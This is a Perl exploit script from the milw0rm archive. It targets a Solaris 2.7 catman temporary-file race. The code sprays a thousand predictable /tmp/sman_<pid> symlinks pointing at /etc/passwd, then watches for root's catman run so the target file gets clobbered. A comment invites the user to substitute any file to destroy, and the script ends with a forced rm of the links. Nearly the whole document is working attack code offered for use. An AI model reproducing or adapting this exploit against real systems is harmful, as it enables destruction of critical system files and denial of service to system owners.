54 lines
No EOL
1.6 KiB
Perl
Executable file
54 lines
No EOL
1.6 KiB
Perl
Executable file
#!/usr/local/bin/perl -w
|
|
#
|
|
# The problem is catman creates files in /tmp insecurly.
|
|
# They are based on the PID of the catman process,
|
|
# catman will happily clobber any files that are
|
|
# symlinked to that file. The idea of this script is to
|
|
# create a block of symlinks to the target file with
|
|
# the current PID as a starting point. Depending on
|
|
# what load your system has this creates 1000 files in
|
|
# /tmp as sman_$currentpid + 1000.
|
|
#
|
|
# The drawback is you would have to know around when root
|
|
# would be executing catman. A better solution would be
|
|
# to monitor for the catman process and create the link
|
|
# before catman creates the file. I think this is a
|
|
# really small window however. This worked on a patched
|
|
# Solaris 2.7 box (August 2000 patch cluster)
|
|
#
|
|
# SunOS rootabega 5.7 Generic_106541-12 sun4u sparc SUNW,Ultra-1
|
|
# lwc@vapid.betteros.org 11/21/2000 Vapid Labs.
|
|
# http://vapid.betteros.org
|
|
|
|
$clobber = "/etc/passwd"; #file to clobber
|
|
$X=getpgrp();
|
|
$Xc=$X; #Constant
|
|
$Y=$X+1000;#Constant
|
|
|
|
while($X < $Y) {
|
|
print "Linking /tmp/sman_$X to $clobber :";
|
|
# Change $clobber to what you want to clobber.
|
|
if (symlink ($clobber, "/tmp/sman_$X")) {
|
|
print "Sucess\n";
|
|
}
|
|
else { print "failed, Busy system?\n";}
|
|
$X=$X+1;
|
|
}
|
|
|
|
#watch /tmp and see if catman is executed in time.
|
|
while(1){
|
|
$list = "/usr/bin/ls -l /tmp | grep sman|grep root |";
|
|
open (list,$list) or "die cant open ls...\n";
|
|
while(<list>) {
|
|
@args = split "_",$_;
|
|
chop ($args[1]);
|
|
if ($args[1] >= $Xc && $args[1] <= $Y){
|
|
print "Looks like pid $args[1] is the winner\n cleaning....\n";
|
|
`/usr/bin/rm -f /tmp/sman*`;
|
|
exit(1);
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
# milw0rm.com [2000-12-19] |